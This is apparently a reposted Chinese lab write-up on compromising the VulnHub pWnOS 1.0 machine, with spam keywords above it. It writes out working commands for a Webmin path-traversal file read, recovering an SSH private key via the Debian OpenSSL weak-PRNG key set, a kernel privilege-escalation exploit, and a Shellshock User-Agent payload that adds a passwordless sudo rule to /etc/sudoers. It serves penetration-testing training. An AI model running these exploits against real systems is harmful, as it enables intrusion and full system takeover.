淄博手机网站建设小说网站违法吗
web/
2025/9/29 21:41:52/
文章来源:
淄博手机网站,建设小说网站违法吗,西安旅游服务网站建设,网站内链的作用目录 开头 1.webmin文件泄露漏洞利用-/etc/passwd/
2.ssh免密登录-私钥伪随机数碰撞#xff1a;
ssh免密登录原理#xff1a;
prng伪随机数生成ssh rsa 私钥公钥密码库
openssl和openssh的关系#xff1a; ssh登录报错-解决思路-vv
3.提权-内核提权-shellshock提权
内…目录 开头 1.webmin文件泄露漏洞利用-/etc/passwd/
2.ssh免密登录-私钥伪随机数碰撞
ssh免密登录原理
prng伪随机数生成ssh rsa 私钥公钥密码库
openssl和openssh的关系 ssh登录报错-解决思路-vv
3.提权-内核提权-shellshock提权
内核提权
shellshock提权: 1.验证是否存在漏洞
2.Shellshock利用
创建cgi文件
curl 请求cgi url并在UA构造payload
4.总结 开头
学习的视频是哔哩哔哩红队笔记
「红队笔记」靶机精讲pWnOS1.0 - 选择hard模式再次用完全不同的方法实现这台靶机的渗透测试。_哔哩哔哩_bilibili
打靶时参考文章和本文借鉴文章
红队打靶pWnOS1.0打靶思路详解之ssh私钥破解shellshock漏洞提权-CSDN博客
靶机下载链接见
pWnOS: 1.0 ~ VulnHub
靶场搭建和解法1请看上一篇文章
红队笔记11pWnOS1.0打靶流程之webmin漏洞超级利用vulnhub-CSDN博客 1.webmin文件泄露漏洞利用-/etc/passwd/
我们发现10000端口是系统管理软件webmin提供nmap脚本扫描发现存在文件泄露漏洞并搜索其历史漏洞找到文件泄露漏洞的而exp,利用exp查看到了/etc/passwd文件。
perl 2017.pl
查看exp使用方法 perl 2017.pl 10.10.10.129 10000 /etc/passwd 0 发现有4个bash环境的用户在解法1中我们提供文件泄露漏洞读取成功/etc/shadow文件并john碰撞哈希密码获得账号密码登录ssh,获得初步权限解法2中就不要这种方式获得了。
2.ssh免密登录-私钥伪随机数碰撞 在管理员的登录主机的有两种选择 1.直接输入账号密码登录 2.ssh登录其中ssh登录也有两种方式 1也是使用账号密码登录 2ssh免密登录使用公钥私钥的形式登录 如果用户使用过免密登录就会在家目录下的ssh目录中生成一个文件该文件就是存储免密的登录中的公钥文件。那么我们就可以通过文件泄露漏洞读取该公钥文件公钥文件存在则说明该用户使用过免密登录。 我们以vmware用户为列 vmwar用户使用过免密登录这/home/vmware/.ssh/authorized_keys 文件会存在 反之不存在 利用webmin漏洞查看对应的用户的ssh文件
perl 2017.pl 10.10.10.129 10000 /home/vmware/.ssh/authorized_keys 0 该文件存在说明vmware用户使用过免密登录那么这个公钥文件又要怎么利用嘞这就要说到ssh免密登录的原理了.
ssh免密登录原理 ssh免密登录就是用户使用私钥和服务器上的公钥匹配匹配成功即可登录。 那么私钥和公钥又是怎么确定的,公钥私钥的说法是在非对称加密中的而ssh就采用了rsa非对称加密算法ras非对称加密算法是基于一个数学理论得出的两个大质数q,p相乘得到的结果(r)很简单但是通过这个结果因式分解得到这两个大质数很难所有rsa就 r 作为公钥q,p组合作为私钥 由名字就可以知道公钥是公开的所有我们在服务器上能找到公钥钥文件私钥这是私人保存的我们想要免密登录用户就要为公钥找到对应的私钥。 通过上面的原理可以知道我们下一步操作就是获得公钥匹配的私钥得到私钥即可ssh免密登录。
prng伪随机数生成ssh rsa 私钥公钥密码库 按照正常的ssh rsa私钥是无法通过prng伪随机数获得公钥的因为这台靶机特定版本号的openssl为ssh生成秘钥对时的bug这个漏洞是生成rsa证书时prng(伪随机数生成器注意计算机科学中的伪随机数说的是能通过随机统计检验的一组数)的代码改坏了导致唯一的随机因子只有pid当时linux的最大pid很小例如这台靶机是32768POC中提到的是65536导致生成的证书就那么多种可能可以被穷举出来 这不说明RSA证书不安全也不说明2048位的RSA不安全只说明用该环境下的ssh-keygen生成的证书不安全在这种环境下生成的证书放到其他没有该漏洞的机器上一样有问题 ps:查看openssl版本: dpkg -l | grep ssl , 这台机器是0.9.8e按照POC的说法debian系 0.9.8c-1 0.9.8g-9 的是有该问题的版本 searchsploit prng 可以看到这 openssl 在这个版本内 PRNG SHH 等关键词
openssl和openssh的关系 openssh是ssh协议的开源服务 openssl是ssl协议的开源服务 openssh中的加密都是依赖于openssl searchsploit prng -m 5622.txt
将exp文件下载下来后查看 wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2 下载后是一个压缩包解压
tar -jxvf 5622.tar.bz2 可以看到下载的文件解压后是一大堆文件有的文件有pub后缀这些文件其实就是伪随机数生成的所有可能的公钥私钥对其中pub后缀就是公钥
通过伪随机数生成器得到了爆破字典接下来是通过公钥比对获取其对应的私钥 从公钥中取一段出来长度适中太短可能碰撞出多个相同的文件太长耗时太长30 40个字符长度即可
接下来我们在rsa/2048中寻找包含上述字符串的文件复制上述公钥中的前三四十个字符用grep搜索即可
grep -lr AAAAB3NzaC1yc2EAAAABIwAAAQEAzASM/LKsFLB7zfmy14qQJUrsQsEOrep -l 是列出搜索到的文件名 -r 是递归搜索 搜索多层目录 什么都没有搜索到就说明vmware用户的私钥没有碰撞出来公钥尝试切换用户尝试。
perl ./2017.pl 10.10.10.129 10000 /home/obama/.ssh/authorized_keys 0 读取obama的公钥文件 Obama用户也存在公钥再次取适当长度的一段公钥30 40长度匹配
grep -lr AAAAB3NzaC1yc2EAAAABIwAAAQEAxRuWHhMPelB60JctxC6BDxjqQXggf0 公钥匹配成功找到公钥文件存放的文件名再找到对应的私钥文件即可。
ls -list dcbe2a56e8cdea6d17495f6648329ee2-4679*
ls列出来文件名为dcbe2a56e8cdea6d17495f6648329ee2-4679的文件* 有扩展名和无扩展名都列出来 找到私钥文件公钥私钥都有了尝试ssh免密登录
将私钥文件拷贝并重命名到当前目录
cp rsa/2048/d8629ce6dc8f2492e1454c13f46adb26-4566 ./mima.txt ssh登录报错-解决思路-vv 在尝试ssh登录时经常会遇到因为版本不同/协议/加密方法的不同导致出现很多问题的情况如果没有经验这条路就会走不通一定要学会去解决这种问题 -vv看交互详细信息来分析问题所在 sudo ssh -i mima.txt obama10.10.10.129 -i 私钥文件 报错告诉我们host key不匹配对方服务器用的是ssh-rsa,ssh-dss
先输入-o查找额外的参数然后输入Host key type的首字母H按下tab键有许多提示的参数我们要设置的参数是与host key type 相关的在这些参数中最有可能的就是HostKeyAlgorithms主机密钥算法
sudo ssh -i mima.txt -oHostKeyAlgorithmsssh-rsa,ssh-dss obama10.10.10.129 没有报错了但登录还是需要密码但是我们再尝试免密登录不需要密码啊说明再免密登录过程中还是存在问题-vv参数查看ssh登录时的详细信息相当于Debug,会把每一步做了什么提示出来 sudo ssh -i mima.txt -oHostKeyAlgorithmsssh-rsa,ssh-dss obama10.10.10.129 -vv -vv会将执行过程中的数据交互数据请求都显示出来看看能不能找到原因 下一个身份验证方法公钥 将尝试密钥mima.txt explicit pubkey_prepare完成 :尝试私钥:mima.txt nd_send_pubkey 不支持相互签名 说我们没有支持相同的签名nd_send_pubkey没有经验上网查找或者问GPT 还是一样的办法 -o 输入pubkey tab键 有两个相关的参数第一个公钥接受的密钥类型第二个公钥认证 我们是类型不匹配所有一个是第一个参数。
sudo ssh -i mima.txt -oHostKeyAlgorithmsssh-rsa,ssh-dss obama10.10.10.129 -oPubkeyAcceptedKeyTypesssh-rsa,ssh-dss 免密登录成功获得初始shell
3.提权-内核提权-shellshock提权
解法1中提权是通过webmin特定版本文件泄露漏洞能执行cgi后缀的perl反弹shell文件并且漏洞利用是以root权限读取文件。
在解法2中我们采用两种提权方式 1.内核提权 2.文件泄露漏洞结合shellshock提权 内核提权
当我们拿到初步shell,确定目标主机ip,发现linux kernel 版本2.6.22 版本过低通过查看kali内核版本判断版本是否过低,kali内核版本是5.18
searchsploit linux kernel 2.6.2 在使用searchsploit 搜索内核提权时需要注意: 搜索的内核版本不要过细过细会导致很多好的漏洞被过滤掉 也不能太粗。太粗会导致搜索到的漏洞太多也要通过经验搜索较为合适的 写的太细可能会导致好的漏洞被筛选掉 写的太粗漏洞太多并不是所有漏洞都能提权需要根据经验分析和尝试是否能提权成功所有太多难筛选漏洞容易浪费时间 选择合适的的
searchsploit linux kernel 2.6.2
可以看到还是很多漏洞但是我们主要是内核提权通过grep 搜索带关键词的 Privilege Escalation
searchsploit linux kernel 2.6.2 | grep Privilege Escalation 筛选出来了只与提权有关的漏洞接下来就要先分析哪些漏洞对我们没有用排漏洞的优先级觉得哪些漏洞成功的可能性高哪些可能性低依次去尝试漏洞分析完再尝试觉得有可能性的漏洞 太具体的漏洞利用版本太具体的通用性不高Linux 发行版不一致测试出一类漏洞中的一个不行时就可以排除哪一类漏洞 我们筛选出来第一个可能的漏洞 searchsploit linux kernel 2.6.2 -m 5092.c
开启http服务
php -S 0:80
目标靶机上下载下来
wget http://10.10.10.128:80/5092.c gcc 5092.c -o 5092
gcc将.c文件编译 -o保存为5092文件 并赋予运行权限 内核提权成功。
shellshock提权: 当刚拿到初步立足点的时候我们通过unam -a看到linux内核比较久可以尝试内核提权漏洞也能通过bash –version 查看bash版本bash版本如果小于4.3,很有可能存在shellshock
bash –version
3.2.25版本 4.3 可能存在shellshock漏洞 1.验证是否存在漏洞
env() { :; }; echo shellshock is here bash -c date 终端输出shellshock is here 则说明漏洞存在
2.Shellshock利用
这是shellshock Attack CGI programs 利用其原理是 CGI通用网关接口Common Gateway Interface 一个在Web服务器中使用的技术是最早的可以创建动态网页内容的技术之一。它会把一个HTTP请求转化为一次shell调用。 用户将CGI URL发送到Apache Web服务器时Apache将检查该请求 如果是CGI请求Apache将使用fork()启动新进程然后使用exec())函数执行CGI程序。 创建cgi文件
echo #!/bin/bash runshell.cgi 创建好cgi文件但是shellshock的利用需要能够请求cgi文件的url,所以有两种方法 1.把cgi文件直接创建在web目录中但权限不够 2.通过webmin文件泄露漏洞访问但是需要知道漏洞原理因为直接使用exp利用我们无法控制请求头无法通过shellshock执行代码 分析webmin文件泄露漏洞 可以看到tar 0时执行的代码 加上选择http时执行的代码 payload 是通过在unauthenticated 目录后/..%01/..%01造成文件泄露漏洞的所以我们只需要构造payload:
http://10.10.10.129:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd ..%01/在exp中有40个但并不是一定需要40个。
那么我们知道文件泄露漏洞原理了我们就可以通过这个漏洞实现shellshock漏洞了
curl 请求cgi url并在UA构造payload
curl http://10.10.10.129:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/home/obama/runshell.cgi -A () { :; }; /bin/echo obama ALL(ALL)NOPASSWD:ALL /etc/sudoers
其中-A参数用于添加user-agent字段填入我们shellshock漏洞利用的payload其中() { :; };是shellshock漏洞利用的固定部分后面的语句相当于在靶机的权限管理文件/etc/sudoers中写入了一行语句vmware ALL(ALL)NOPASSWD:ALL这行语句相当于将vmware用户的权限设置为ALL并设置无需密码否则当执行高权限的指令时还需要vmware用户的密码。运行如下 运行shellshock漏洞发现没有权限应该是我们cgi文件没有赋予执行权限赋予完执行权限后shellshock漏洞利用成功
perl ./2017.pl 10.10.10.129 10000 /etc/sudoers 0 查看权限是否修改成功 写入成功 提权成功
4.总结
私钥爆破的时候其实是利用了特定版本的openssl的漏洞只有65535种可能的私钥这才能爆破出来一般情况是没有这个漏洞的。shellshock漏洞我个人的理解是cgi文件是一个bash环境文件通过每一次的http请求cgi文件都会转换成一次shell调用其中在http请求包中的UA头中的数据会被cgi文件接收并执行这也是shellshock利用中的Attack CGI programs 在红队笔记的视频中文件泄露利用路径auto_wordlists github上开源的敏感文件路径 GitHub - carlospolop/Auto_Wordlists 打靶总结 1.主机发现和端口扫描 2.webmin任意文件泄露漏洞利用读取ssh相关的敏感文件/home/vmware/.ssh/authorized_keys结合存在漏洞版本的openssh对私钥进行碰撞爆破找到了私钥。 3.用私钥实现免密登录vmware账号的ssh。其中涉及到ssh登录的一些参数。 4.shellshock漏洞提权利用了存在漏洞的bash通过curl触发shellshock.cgi文件执行启动有问题的bash并在user-agent头部添加shellshock漏洞利用的payload在/etc/sudoers中添加了一行代码使得vmware账号的权限为ALL。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/84105.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!